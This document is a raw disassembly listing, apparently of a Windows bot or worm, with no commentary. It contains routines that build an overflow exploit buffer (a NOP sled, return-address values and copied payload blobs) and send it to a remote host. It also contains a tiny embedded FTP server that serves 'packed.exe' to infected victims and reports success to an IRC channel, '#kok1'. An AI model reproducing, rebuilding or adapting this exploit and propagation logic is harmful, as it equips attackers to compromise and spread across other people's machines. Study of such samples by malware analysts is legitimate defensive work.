		mov	[ebp-1B78h], eax
		mov	eax, [ebp-1B78h]
		mov	[ebp-0B6Ch], eax
		mov	eax, [ebp-1B78h]
		sub	eax, 18h
		mov	[ebp-0B64h], eax
		push	dword ptr [ebp-1B78h]
		lea	eax, [ebp-0B74h]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------


loc_410B36:				; CODE XREF: cAddress:00410B32j
		push	0
		push	1000h
		lea	eax, [ebp-1B74h]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv

locret_410B50:				; CODE XREF: cAddress:00410681j
					; cAddress:004106EBj ...
		leave
		retn
; ---------------------------------------------------------------------------


loc_410B52:				; DATA XREF: cAddress:0041CD10o
		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset a__	; "\r\n\\_/."
		mov	eax, [ebp+8]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+8]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+8]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp-20Ch], eax
		cmp	dword ptr [ebp-20Ch], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: cAddress:00410BA8j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp-80Ch]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BEF:				; CODE XREF: cAddress:00410BE8j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp-80Ch]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C2F:				; CODE XREF: cAddress:00410C28j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp-80Ch]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C6F:				; CODE XREF: cAddress:00410C68j
		movsx	eax, byte ptr [ebp-7CCh]
		sub	eax, 30h
		mov	[ebp-208h], al
		movsx	eax, byte ptr [ebp-7C8h]
		sub	eax, 30h
		mov	[ebp-4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp-80Ch]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410CC9:				; CODE XREF: cAddress:00410CC2j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp-80Ch]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D06:				; CODE XREF: cAddress:00410CFFj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp-80Ch]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D46:				; CODE XREF: cAddress:00410D3Fj
		movsx	eax, byte ptr [ebp-208h]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, byte ptr [ebp-4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp-0B78h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp-20Ch]
		lea	eax, [ebp-204h]
		push	eax
		lea	eax, [ebp-0AF2h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp-20Ch]
		add	eax, 60h
		push	eax
		mov	eax, [ebp-20Ch]
		lea	eax, [ebp+eax-0AF2h]
		push	eax


loc_410DB7:				; DATA XREF: cAddress:off_419A7Co
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp-88Eh]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp-882h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp-85Eh]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp-852h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp-82Eh]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp-0B78h]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	dword_41709C	; Sleep
		push	36Ah
		lea	eax, [ebp-0B78h]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: cAddress:00410D50j
					; cAddress:00410D5Dj
		movsx	eax, byte ptr [ebp-208h]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, byte ptr [ebp-4]
		test	eax, eax
		jz	short loc_410E95


loc_410E85:				; CODE XREF: cAddress:00410E7Bj
		movsx	eax, byte ptr [ebp-208h]
		cmp	eax, 4
		jnz	locret_410F5E


loc_410E95:				; CODE XREF: cAddress:00410E83j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp-104Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp-20Ch]
		push	eax
		push	90h
		lea	eax, [ebp-0FC6h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	dword ptr [ebp-20Ch]
		lea	eax, [ebp-204h]
		push	eax
		lea	eax, [ebp-0BDEh]
		sub	eax, [ebp-20Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		and	dword ptr [ebp-0B7Ch], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410EF9:				; CODE XREF: cAddress:00410F2Cj
		mov	eax, [ebp-0B7Ch]
		inc	eax
		mov	[ebp-0B7Ch], eax


loc_410F06:				; CODE XREF: cAddress:00410EF7j
		cmp	dword ptr [ebp-0B7Ch], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp-0B7Ch]
		lea	eax, [ebp+eax*4-0BDEh]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------


loc_410F2E:				; CODE XREF: cAddress:00410F0Dj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp-0B9Eh]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp-104Ch]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: cAddress:00410BAAj
					; cAddress:00410BEAj ...
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: cAddress:loc_410DB7p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------


loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------


loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------


loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------


loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0


loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------


loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: cAddress:004118D6p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C


loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------


loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp

; ---------------------------------------------------------------------------


loc_41113B:				; DATA XREF: sub_411BBC+156o
		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+8]
		mov	[ebp-10Ch], eax
		push	offset a220	; "220 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, byte_41DE00
		mov	[ebp-104h], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-103h]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE00
		mov	[ebp-114h], al
		xor	eax, eax
		lea	edi, [ebp-113h]
		stosd
		stosb
		and	dword ptr [ebp-4], 0
		and	dword ptr [ebp-118h], 0
		and	dword ptr [ebp-108h], 0


loc_4111CC:				; CODE XREF: cAddress:00411247j
					; cAddress:004112F8j ...
		push	0EA60h
		push	dword ptr [ebp-10Ch]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp-318h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-520h], eax
		cmp	dword ptr [ebp-520h], 0
		jz	short loc_411218
		cmp	dword ptr [ebp-520h], 0FFFFFFFFh
		jnz	short loc_41121D


loc_411218:				; CODE XREF: cAddress:0041120Dj
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41121D:				; CODE XREF: cAddress:00411216j
		lea	eax, [ebp-108h]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp-318h]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp-528h], eax
		cmp	dword ptr [ebp-528h], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------


loc_411249:				; CODE XREF: cAddress:00411245j
		lea	eax, [ebp-108h]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp-51Ch], eax
		cmp	dword ptr [ebp-51Ch], 0
		jnz	short loc_411278
		mov	dword ptr [ebp-51Ch], offset byte_41DE00


loc_411278:				; CODE XREF: cAddress:0041126Cj
		lea	eax, [ebp-108h]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		push	dword ptr [ebp-528h]
		call	sub_40ED38
		pop	ecx
		mov	[ebp-524h], eax
		mov	eax, [ebp-524h]
		sub	eax, dword_41C6A0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4112FD
		mov	dword ptr [ebp-4], 1
		push	offset a331	; "331 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4112FD:				; CODE XREF: cAddress:004112B3j
		mov	eax, [ebp-524h]
		sub	eax, dword_41C68C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41135D
		mov	dword ptr [ebp-118h], 1
		push	offset a230	; "230 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41135D:				; CODE XREF: cAddress:00411310j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41136C
		cmp	dword ptr [ebp-118h], 0
		jnz	short loc_411371


loc_41136C:				; CODE XREF: cAddress:00411361j
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411371:				; CODE XREF: cAddress:0041136Aj
		mov	eax, [ebp-524h]
		sub	eax, dword_41C678
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4113C7
		push	offset a215	; "215 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4113C7:				; CODE XREF: cAddress:00411384j
		mov	eax, [ebp-524h]
		sub	eax, dword_41C664
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41141D
		push	offset a211	; "211 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41141D:				; CODE XREF: cAddress:004113DAj
		mov	eax, [ebp-524h]
		sub	eax, dword_41C654
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_411473
		push	offset a257	; "257 \"/\" -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411473:				; CODE XREF: cAddress:00411430j
		mov	eax, [ebp-524h]
		sub	eax, dword_41C63C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4114C9
		push	offset a200	; "200 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4114C9:				; CODE XREF: cAddress:00411486j
		mov	eax, [ebp-524h]
		sub	eax, dword_41C628
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41151F
		push	offset a425	; "425 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41151F:				; CODE XREF: cAddress:004114DCj
		mov	eax, [ebp-524h]
		sub	eax, dword_41C614
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411622
		lea	eax, [ebp-534h]
		push	eax
		lea	eax, [ebp-52Ch]
		push	eax
		lea	eax, [ebp-540h]
		push	eax
		lea	eax, [ebp-53Ch]
		push	eax
		lea	eax, [ebp-538h]
		push	eax
		lea	eax, [ebp-530h]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	dword ptr [ebp-51Ch]
		call	sub_416BA2	; sscanf
		add	esp, 20h
		movzx	eax, byte ptr [ebp-540h]
		push	eax
		movzx	eax, byte ptr [ebp-53Ch]
		push	eax
		movzx	eax, byte ptr [ebp-538h]
		push	eax
		movzx	eax, byte ptr [ebp-530h]
		push	eax
		push	offset aU_U_U_U	; "%u.%u.%u.%u"
		push	100h
		lea	eax, [ebp-104h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 1Ch
		mov	eax, [ebp-52Ch]
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, [ebp-534h]
		and	ecx, 0FFh
		or	eax, ecx
		push	eax
		push	offset aU_0	; "%u"
		push	6
		lea	eax, [ebp-114h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset a200	; "200 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411622:				; CODE XREF: cAddress:00411532j
		mov	eax, [ebp-524h]
		sub	eax, dword_41C5F4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_4116E9
		push	offset aRb	; "rb"
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp-548h], eax
		cmp	dword ptr [ebp-548h], 0
		jnz	short loc_411660
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411660:				; CODE XREF: cAddress:00411659j
		push	2
		push	0
		push	dword ptr [ebp-548h]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	dword ptr [ebp-548h]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp-544h], eax
		push	0
		push	0
		push	dword ptr [ebp-548h]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	dword ptr [ebp-548h]
		call	sub_416B82	; fclose
		pop	ecx
		push	dword ptr [ebp-544h]
		push	offset a213U	; "213 %u\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4116E9:				; CODE XREF: cAddress:00411635j
		mov	eax, [ebp-524h]
		sub	eax, dword_41C5DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411873
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp-114h]
		push	eax
		lea	eax, [ebp-104h]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp-54Ch], eax
		cmp	dword ptr [ebp-54Ch], 0
		jz	short loc_411773
		cmp	dword ptr [ebp-54Ch], 0FFFFFFFFh
		jnz	short loc_411778


loc_411773:				; CODE XREF: cAddress:00411768j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411778:				; CODE XREF: cAddress:00411771j
		push	offset aRb	; "rb"
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp-554h], eax
		cmp	dword ptr [ebp-554h], 0
		jnz	short loc_41179D
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41179D:				; CODE XREF: cAddress:00411796j
		push	2
		push	0
		push	dword ptr [ebp-554h]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	dword ptr [ebp-554h]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp-550h], eax
		push	0
		push	0
		push	dword ptr [ebp-554h]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	dword ptr [ebp-554h]
		call	sub_416B82	; fclose
		pop	ecx
		push	offset aPacked_exe ; "packed.exe"
		push	dword ptr [ebp-550h]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-54Ch]
		call	sub_4053BF
		add	esp, 0Ch
		push	dword ptr [ebp-54Ch]
		call	sub_40538D
		pop	ecx
		push	offset a226	; "226 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411873:				; CODE XREF: cAddress:004116FCj
		mov	eax, [ebp-524h]
		sub	eax, dword_41C54C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411969
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		lea	eax, [ebp-114h]
		push	eax
		lea	eax, [ebp-104h]
		push	eax
		call	sub_41102F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_411967
		push	offset a226	; "226 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		push	1
		push	offset dword_41EAD8
		call	sub_409C88
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp-558h], eax
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp-558h]
		push	offset aFtp_0	; "ftp"
		push	offset unk_41C520
		push	offset aKok1	; "#kok1"
		call	sub_40D4AB
